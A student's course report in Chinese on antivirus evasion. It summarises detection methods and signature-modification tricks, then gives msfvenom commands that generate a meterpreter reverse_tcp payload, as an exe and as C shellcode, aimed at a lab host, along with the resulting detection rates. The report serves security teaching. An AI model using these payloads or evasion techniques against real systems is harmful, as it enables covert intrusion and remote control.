2017-2018-2 20179205 《网络攻防技术与实践》第十二周作业 免杀技术
《网络攻防技术与实践》第十二周 免杀技术
一、基础问题
1.杀软是如何检测出恶意代码的?
- 基于特征码
一段特征码就是一段或多段数据。(如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)杀毒软件有自己专门的特征码库,在检测一个程序是否是恶意代码时就看这个程序中的是否包含有特征码库中的特征码,如果有就进行查杀。但是特征码库并不是总是能第一时间更新,如果出现了特征码库中没有的新特征码,那么就无法通过这种比对的方法进行查杀。
- 启发式恶意软件检测
这种方法的思想是为病毒的特征设定一个阈值,扫描器分析文件时,当文件的总权值超出了设定值,就将其看作是恶意代码.这种方法主要的技术是要准确的定义类似病毒的特征,这依靠准确的模拟处理器。评定基于宏病毒的影响更是一个挑战,他们的结构和可能的执行流程比已经编译过的可执行文件更难预测。
- 基于行为的恶意软件检测
利用病毒的特有行为特征来监测病毒的方法,称为行为监测法.通过对病毒多年的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊.当程序运行时,监视其行为,如果发现了病毒行为,立即报警.缺点是误报率比较高、不能识别病毒名称及类型、实现时有一定难度。
- 基于特征码的检测
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
- 基于签名的检测技术
基于签名的检测技术主要基于模式匹配的思想,为每种已知恶意代码产生一个唯一的签名特征标记来创建恶意代码库。这些签名包括很多不同的属性,如文件名、内容字符串或字节等,并且也从排除这些恶意代码所产生安全漏洞的角度来探讨保护系统安全。将未知代码的签名特征与恶意代码库进行对比,搜索恶意代码库查找时候存在相匹配的恶意代码签名,若有吻合,则判定为恶意代码;反之则判断为正常代码。这些签名有专家手工找出或通过自动方法生成,一个签名呗提取出来以标志一个特定恶意代码的特征性质。
2.免杀是做什么?
就是通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,反过来使得恶意代码能够不被杀毒软件所检测和查杀,更好地植入到被攻击的主机中进行一些非法的操作。
3.免杀的基本方法有哪些?
- 1.直接修改特征码的十六进制法
修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制.
适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能
否正常使用.
- 2.修改字符串大小写法
修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了.
适用范围:特征码所对应的内容必需是字符串,否则不能成功.
- 3.等价替换法
修改方法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
适用范围:特征码中必需有可以替换的汇编指令.比如JN,JNE 换成JMP等.
- 4.指令顺序调换法
修改方法:把具有特征码的代码顺序互换一下.
适用范围:具有一定的局限性,代码互换后要不能影响程序的正常执行
- 5.通用跳转法
修改方法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行.
适用范围:没有什么条件,是通用的改法,强烈建议大家要掌握这种改法.
- 文件免杀方法:
1.加冷门壳
2.加花指令
3.改程序入口点
4.改木马文件特征码的5种常用方法
5.还有其它的几种免杀修改技巧
二、实践过程记录
1.msfvenom直接生成meterpreter可执行文件
使用Linux攻击机kali,其IP用msfvenom直接生成meterpreter可执行文件:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.140 LPORT=443 -f exe > Rebrust-2.exe
在主文件夹中找到生成的文件,复制:
将文件拷到桌面运行,发现被360安全卫士检测:
关闭防火墙允许该文件,将文件传至: www.virscan.org
进行检测,检测结果如下:
扫描结果:45%的杀软(18/40)报告发现病毒.
可以看到百度杀毒、金山毒霸等是可以检测到的。
2.用Veil-Evasion生成可执行文件
下载安装Veil-Evasion
按照Veil-Evasion下载安装教程进行下载安装:
安装成功:
我们在Veil-Evasion目录下,执行命令 python Veil-Evasion.py
输入list可以查看到有51个模块:
3.使用c语言调用shellcode
在kali下输入命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.140 LPORT=443 -f c
将生成的代码复制到一个新建的文件夹9205.c下,加上头文件进行编译:
可以看到生成的a.out文件:
将a.out文件复制出来至: www.virscan.org
进行检测:
三、实践中遇到的问题与解决过程
在用Veil-Evasion生成可执行文件,尝试了多个模块最终失败,没有生成可执行文件: